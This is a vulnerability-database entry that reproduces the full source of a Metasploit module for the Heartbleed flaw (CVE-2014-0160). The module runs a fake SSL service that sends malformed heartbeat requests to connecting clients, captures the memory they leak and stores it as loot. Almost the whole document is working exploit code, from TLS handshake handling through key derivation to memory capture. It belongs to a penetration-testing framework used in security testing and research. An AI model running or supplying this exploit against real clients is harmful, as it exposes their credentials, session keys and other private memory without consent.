OpenSSL Heartbeat (Heartbleed) Client Memory Exposure

2014-04-09T14:38:11
ID MSF:AUXILIARY/SERVER/OPENSSL_HEARTBEAT_CLIENT_MEMORY
Type metasploit
Reporter Rapid7
Modified 2020-05-17T19:51:14

Description

This module provides a fake SSL service that is intended to leak memory from client systems as they connect. This module is hardcoded for using the AES-128-CBC-SHA1 cipher.

                                        
                                            ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::TcpServer
  include Msf::Auxiliary::Report

  def initialize
    super(
      'Name'           => 'OpenSSL Heartbeat (Heartbleed) Client Memory Exposure',
      'Description'    => %q{
        This module provides a fake SSL service that is intended to
        leak memory from client systems as they connect. This module is
        hardcoded for using the AES-128-CBC-SHA1 cipher.
      },
      'Author'         =>
        [
          'Neel Mehta', # Vulnerability discovery
          'Riku', # Vulnerability discovery
          'Antti', # Vulnerability discovery
          'Matti', # Vulnerability discovery
          'hdm' # Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'Actions'        => [['Capture', 'Description' => 'Run server to disclose memory from incoming clients']],
      'PassiveActions' => ['Capture'],
      'DefaultAction'  => 'Capture',
      'References'     =>
        [
          [ 'CVE', '2014-0160' ],
          [ 'US-CERT-VU', '720951' ],
          [ 'URL', 'https://www.us-cert.gov/ncas/alerts/TA14-098A' ],
          [ 'URL', 'http://heartbleed.com/' ]
        ],
      'DisclosureDate' => 'Apr 07 2014',
      'Notes' =>
          {
              'AKA' => ['Heartbleed']
          }

    )

    register_options(
      [
        OptPort.new('SRVPORT',    [ true, "The local port to listen on.", 8443 ]),
        OptInt.new('HEARTBEAT_LIMIT', [true, "The number of kilobytes of data to capture at most from each client", 512]),
        OptInt.new('HEARTBEAT_READ', [true, "The number of bytes to leak in the heartbeat response", 65535]),
        OptBool.new('NEGOTIATE_TLS', [true, "Set this to true to negotiate TLS and often leak more data at the cost of CA validation", false])
      ])
  end

  # Initialize the client state and RSA key for this session
  def setup
    super
    @state    = {}
    @cert_key = OpenSSL::PKey::RSA.new(1024){ } if negotiate_tls?
  end

  # Setup the server module and start handling requests
  def run
    print_status("Listening on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}...")
    exploit
  end

  # Determine how much memory to leak with each request
  def heartbeat_read_size
    datastore['HEARTBEAT_READ'].to_i
  end

  # Determine how much heartbeat data to capture at the most
  def heartbeat_limit
    datastore['HEARTBEAT_LIMIT'].to_i * 1024
  end

  # Determine whether we should negotiate TLS or not
  def negotiate_tls?
    !! datastore['NEGOTIATE_TLS']
  end

  # Initialize a new state for every client
  def on_client_connect(c)
    @state[c] = {
      :name          => "#{c.peerhost}:#{c.peerport}",
      :ip            => c.peerhost,
      :port          => c.peerport,
      :heartbeats    => "",
      :server_random => [Time.now.to_i].pack("N") + Rex::Text.rand_text(28)
    }
    print_status("#{@state[c][:name]} Connected")
  end

  # Buffer messages and parse them once they are fully received
  def on_client_data(c)
    data = c.get_once
    return if not data
    @state[c][:buff] ||= ""
    @state[c][:buff] << data
    process_request(c)
  end

  # Extract TLS messages from the buffer and process them
  def process_request(c)

    # Make this slightly harder to DoS
    if @state[c][:buff].to_s.length > (1024*128)
      print_status("#{@state[c][:name]} Buffer limit reached, dropping connection")
      c.close
      return
    end

    # Process any buffered messages
    loop do
      break unless @state[c][:buff]

      message_type, message_ver, message_len = @state[c][:buff].unpack("Cnn")
      break unless message_len
      break unless @state[c][:buff].length >= message_len+5

      mesg = @state[c][:buff].slice!(0, message_len+5)

      if @state[c][:encrypted]
        process_openssl_encrypted_request(c, mesg)
      else
        process_openssl_cleartext_request(c, mesg)
      end
    end
  end

  # Process cleartext TLS messages
  def process_openssl_cleartext_request(c, data)
    message_type, message_version, protocol_version = data.unpack("Cn@9n")

    if message_type == 0x15 and data.length >= 7
      message_level, message_reason = data[5,2].unpack("CC")
      print_status("#{@state[c][:name]} Alert Level #{message_level} Reason #{message_reason}")
      if message_level == 2 and message_reason == 0x30
        print_status("#{@state[c][:name]} Client rejected our certificate due to unknown CA")
        return
      end

      if level == 2
        print_status("#{@state[c][:name]} Client rejected our connection with a fatal error: #{message_reason}")
        return
      end

    end

    unless message_type == 0x18
      message_code = data[5,1].to_s.unpack("C").first
      vprint_status("#{@state[c][:name]} Message #{sprintf("type %.2x v%.4x %.2x", message_type, message_version, message_code)}")
    end

    # Process the Client Hello
    unless @state[c][:received_hello]

      unless (message_type == 0x16 and data.length > 43 and message_code == 0x01)
        print_status("#{@state[c][:name]} Expected a Client Hello, received #{sprintf("type %.2x code %.2x", message_type, message_code)}")
        return
      end

      print_status("#{@state[c][:name]} Processing Client Hello...")

      # Extract the client_random needed to compute the master key
      @state[c][:client_random]  = data[11,32]
      @state[c][:received_hello] = true

      print_status("#{@state[c][:name]} Sending Server Hello...")
      openssl_send_server_hello(c, data, protocol_version)
      return
    end

    # If we are negotiating TLS, handle Client Key Exchange/Change Cipher Spec
    if negotiate_tls?
      # Process the Client Key Exchange
      if message_type == 0x16 and data.length > 11 and message_code == 0x10
        print_status("#{@state[c][:name]} Processing Client Key Exchange...")
        premaster_length = data[9, 2].unpack("n").first

        # Extract the pre-master secret in encrypted form
        if data.length >= 11 + premaster_length
          premaster_encrypted = data[11, premaster_length]

          # Decrypt the pre-master secret using our RSA key
          premaster_clear = @cert_key.private_decrypt(premaster_encrypted) rescue nil
          @state[c][:premaster] = premaster_clear if premaster_clear
        end
      end

      # Process the Change Cipher Spec and switch to encrypted communications
      if message_type == 0x14 and message_code == 0x01
        print_status("#{@state[c][:name]} Processing Change Cipher Spec...")
        initialize_encryption_keys(c)
        return
      end
    # Otherwise just start capturing heartbeats in clear-text mode
    else
      # Send heartbeat requests
      if @state[c][:heartbeats].length < heartbeat_limit
        openssl_send_heartbeat(c, protocol_version)
      end

      # Process cleartext heartbeat replies
      if message_type == 0x18
        vprint_status("#{@state[c][:name]} Heartbeat received (#{data.length-5} bytes) [#{@state[c][:heartbeats].length} bytes total]")
        @state[c][:heartbeats] << data[5, data.length-5]
      end

      # Full up on heartbeats, disconnect the client
      if @state[c][:heartbeats].length >= heartbeat_limit
        print_status("#{@state[c][:name]} Heartbeats received [#{@state[c][:heartbeats].length} bytes total]")
        store_captured_heartbeats(c)
        c.close()
      end
    end
  end

  # Process encrypted TLS messages
  def process_openssl_encrypted_request(c, data)
    message_type, message_version, protocol_version = data.unpack("Cn@9n")

    return if @state[c][:shutdown]
    return unless data.length > 5

    buff = decrypt_data(c, data[5, data.length-5])
    unless buff
      print_error("#{@state[c][:name]} Failed to decrypt, giving up on this client")
      c.close
      return
    end

    message_code = buff[0,1].to_s.unpack("C").first
    vprint_status("#{@state[c][:name]} Message #{sprintf("type %.2x v%.4x %.2x", message_type, message_version, message_code)}")

    if message_type == 0x16
      print_status("#{@state[c][:name]} Processing Client Finished...")
    end

    # Send heartbeat requests
    if @state[c][:heartbeats].length < heartbeat_limit
      openssl_send_heartbeat(c, protocol_version)
    end

    # Process heartbeat replies
    if message_type == 0x18
      vprint_status("#{@state[c][:name]} Encrypted heartbeat received (#{buff.length} bytes) [#{@state[c][:heartbeats].length} bytes total]")
      @state[c][:heartbeats] << buff
    end

    # Full up on heartbeats, disconnect the client
    if @state[c][:heartbeats].length >= heartbeat_limit
      print_status("#{@state[c][:name]} Encrypted heartbeats received [#{@state[c][:heartbeats].length} bytes total]")
      store_captured_heartbeats(c)
      c.close()
    end
  end

  # Dump captured memory to a file on disk using the loot API
  def store_captured_heartbeats(c)
    if @state[c][:heartbeats].length > 0
      begin
        path = store_loot(
          "openssl.heartbleed.client",
          "application/octet-stream",
          @state[c][:ip],
          @state[c][:heartbeats],
          nil,
          "OpenSSL Heartbleed client memory"
        )
        print_good("#{@state[c][:name]} Heartbeat data stored in #{path}")
      rescue ::Interrupt
        raise $!
      rescue ::Exception
        print_error("#{@state[c][:name]} Heartbeat data could not be stored: #{$!.class} #{$!}")
      end

      # Report the memory disclosure as a vulnerability on the host
      report_vuln({
        :host => @state[c][:ip],
        :name => self.name,
        :info => "Module #{self.fullname} successfully dumped client memory contents",
        :refs => self.references,
        :exploited_at => Time.now.utc
      }) rescue nil # Squash errors related to ip => 127.0.0.1 and the like
    end

    # Clear the heartbeat array
    @state[c][:heartbeats] = ""
    @state[c][:shutdown] = true
  end

  # Delete the state on connection close
  def on_client_close(c)
    # Do we have any pending heartbeats to save?
    if @state[c][:heartbeats].length > 0
      store_captured_heartbeats(c)
    end
    @state.delete(c)
  end

  # Send an OpenSSL Server Hello response
  def openssl_send_server_hello(c, hello, version)

    # If encrypted, use the TLS_RSA_WITH_AES_128_CBC_SHA; otherwise, use the
    # first cipher suite sent by the client.
    if @state[c][:encrypted]
      cipher = "\x00\x2F"
    else
      cipher = hello[46, 2]
    end

    # Create the Server Hello response
    extensions =
      "\x00\x0f\x00\x01\x01"       # Heartbeat

    server_hello_payload =
      [version].pack('n') +        # Use the protocol version sent by the client.
      @state[c][:server_random] +  # Random (Timestamp + Random Bytes)
      "\x00" +                     # Session ID
      cipher +                     # Cipher ID (TLS_RSA_WITH_AES_128_CBC_SHA)
      "\x00" +                     # Compression Method (none)
      [extensions.length].pack('n') + extensions

    server_hello = [0x02].pack("C") + [ server_hello_payload.length ].pack("N")[1,3] + server_hello_payload

    msg1 = "\x16" + [version].pack('n') + [server_hello.length].pack("n") + server_hello
    c.put(msg1)

    # Skip the rest of TLS if we arent negotiating it
    unless negotiate_tls?
      # Send a heartbeat request to start the stream and return
      openssl_send_heartbeat(c, version)
      return
    end

    # Certificates
    certs_combined = generate_certificates
    pay2 = "\x0b" + [ certs_combined.length + 3 ].pack("N")[1, 3] + [ certs_combined.length ].pack("N")[1, 3] + certs_combined
    msg2 = "\x16" + [version].pack('n') + [pay2.length].pack("n") + pay2
    c.put(msg2)

    # End of Server Hello
    pay3 = "\x0e\x00\x00\x00"
    msg3 = "\x16" + [version].pack('n') + [pay3.length].pack("n") + pay3
    c.put(msg3)
  end

  # Send the heartbeat request that results in memory exposure
  def openssl_send_heartbeat(c, version)
    c.put "\x18" + [version].pack('n') + "\x00\x03\x01" + [heartbeat_read_size].pack("n")
  end

  # Pack the certificates for use in the TLS reply
  def generate_certificates
    certs = []
    certs << generate_certificate.to_der
    certs_combined = certs.map { |cert| [ cert.length ].pack("N")[1, 3] + cert }.join
  end

  # Generate a self-signed certificate to use for the service
  def generate_certificate
    key  = @cert_key
    cert = OpenSSL::X509::Certificate.new
    cert.version = 2
    cert.serial  = rand(0xFFFFFFFF)

    subject_cn = Rex::Text.rand_hostname
    subject = OpenSSL::X509::Name.new([
        ["C","US"],
        ['ST', Rex::Text.rand_state()],
        ["L", Rex::Text.rand_text_alpha(rand(20) + 10).capitalize],
        ["O", Rex::Text.rand_text_alpha(rand(20) + 10).capitalize],
        ["CN", subject_cn],
      ])
    issuer = OpenSSL::X509::Name.new([
        ["C","US"],
        ['ST', Rex::Text.rand_state()],
        ["L", Rex::Text.rand_text_alpha(rand(20) + 10).capitalize],
        ["O", Rex::Text.rand_text_alpha(rand(20) + 10).capitalize],
        ["CN", Rex::Text.rand_text_alpha(rand(20) + 10).capitalize],
      ])

    cert.subject = subject
    cert.issuer = issuer
    cert.not_before = Time.now - (3600 * 24 * 365) + rand(3600 * 14)
    cert.not_after = Time.now + (3600 * 24 * 365) + rand(3600 * 14)
    cert.public_key = key.public_key
    ef = OpenSSL::X509::ExtensionFactory.new(nil,cert)
    cert.extensions = [
      ef.create_extension("basicConstraints","CA:FALSE"),
      ef.create_extension("subjectKeyIdentifier","hash"),
      ef.create_extension("extendedKeyUsage","serverAuth"),
      ef.create_extension("keyUsage","keyEncipherment,dataEncipherment,digitalSignature")
    ]
    ef.issuer_certificate = cert
    cert.add_extension ef.create_extension("authorityKeyIdentifier", "keyid:always,issuer:always")
    cert.sign(key, OpenSSL::Digest::SHA1.new)
    cert
  end

  # Decrypt the TLS message and return the result without the MAC
  def decrypt_data(c, data)
    return unless @state[c][:client_enc]

    cipher = @state[c][:client_enc]

    begin
      buff = cipher.update(data)
      buff << cipher.final

      # Trim the trailing MAC signature off the buffer
      if buff.length >= 20
        return buff[0, buff.length-20]
      end
    rescue ::OpenSSL::Cipher::CipherError => e
      print_error("#{@state[c][:name]} Decryption failed: #{e}")
    end

    nil
  end

  # Calculate keys and toggle encrypted status
  def initialize_encryption_keys(c)
    tls1_calculate_crypto_keys(c)
    @state[c][:encrypted] = true
  end

  # Determine crypto keys for AES-128-CBC based on the master secret
  def tls1_calculate_crypto_keys(c)
    @state[c][:master] = tls1_calculate_master_key(c)
    return unless @state[c][:master]

    key_block = tls1_prf(
      @state[c][:master],
      "key expansion" +  @state[c][:server_random] + @state[c][:client_random],
      (20 * 2) + (16 * 4)
    )

    # Extract the MAC, encryption, and IV from the keyblock
    @state[c].update({
      :client_write_mac_key => key_block.slice!(0, 20),
      :server_write_mac_key => key_block.slice!(0, 20),
      :client_write_key     => key_block.slice!(0, 16),
      :server_write_key     => key_block.slice!(0, 16),
      :client_iv            => key_block.slice!(0, 16),
      :server_iv            => key_block.slice!(0, 16),
    })

    client_cipher = OpenSSL::Cipher.new('aes-128-cbc')
    client_cipher.key = @state[c][:client_write_key]
    client_cipher.iv  = @state[c][:client_iv]
    client_cipher.decrypt
    client_mac = OpenSSL::HMAC.new(@state[c][:client_write_mac_key], OpenSSL::Digest.new('sha1'))

    server_cipher = OpenSSL::Cipher.new('aes-128-cbc')
    server_cipher.key = @state[c][:server_write_key]
    server_cipher.iv  = @state[c][:server_iv]
    server_cipher.encrypt
    server_mac = OpenSSL::HMAC.new(@state[c][:server_write_mac_key], OpenSSL::Digest.new('sha1'))

    @state[c].update({
      :client_enc => client_cipher,
      :client_mac => client_mac,
      :server_enc => server_cipher,
      :server_mac => server_mac
    })

    true
  end

  # Determine the master key from the premaster and client/server randoms
  def tls1_calculate_master_key(c)
    return unless (
      @state[c][:premaster]     and
      @state[c][:client_random] and
      @state[c][:server_random]
    )
    tls1_prf(
      @state[c][:premaster],
      "master secret" + @state[c][:client_random] + @state[c][:server_random],
      48
    )
  end

  # Random generator used to calculate key data for TLS 1.0/1.1
  def tls1_prf(input_secret, input_label, output_length)
    # Calculate S1 and S2 as even blocks of each half of the secret
    # string. If the blocks are uneven, then S1's last byte should
    # be duplicated by S2's first byte
    blen = (input_secret.length / 2.0).ceil
    s1 = input_secret[0, blen]
    s2_index = blen
    if input_secret.length % 2 != 0
      s2_index -= 1
    end
    s2 = input_secret[s2_index, blen]

    # Hash the first part with MD5
    out1 = tls1_p_hash('md5', s1, input_label, output_length).unpack("C*")

    # Hash the second part with SHA1
    out2 = tls1_p_hash('sha1', s2, input_label, output_length).unpack("C*")

    # XOR the results together
    [*(0..out1.length-1)].map {|i| out1[i] ^ out2[i] }.pack("C*")
  end

  # Used by tls1_prf to generate arbitrary amounts of session key data
  def tls1_p_hash(digest, secret, label, olen)
    output  = ""
    chunk   = OpenSSL::Digest.new(digest).digest_length
    ctx     = OpenSSL::HMAC.new(secret, OpenSSL::Digest.new(digest))
    ctx_tmp = OpenSSL::HMAC.new(secret, OpenSSL::Digest.new(digest))

    ctx.update(label)
    a1 = ctx.digest

    loop do
      ctx = OpenSSL::HMAC.new(secret, OpenSSL::Digest.new(digest))
      ctx_tmp = OpenSSL::HMAC.new(secret, OpenSSL::Digest.new(digest))
      ctx.update(a1)
      ctx_tmp.update(a1)
      ctx.update(label)

      if olen > chunk
        output << ctx.digest
        a1 = ctx_tmp.digest
        olen -= chunk
      else
        a1 = ctx.digest
        output << a1[0, olen]
        break
      end
    end

    output
  end
end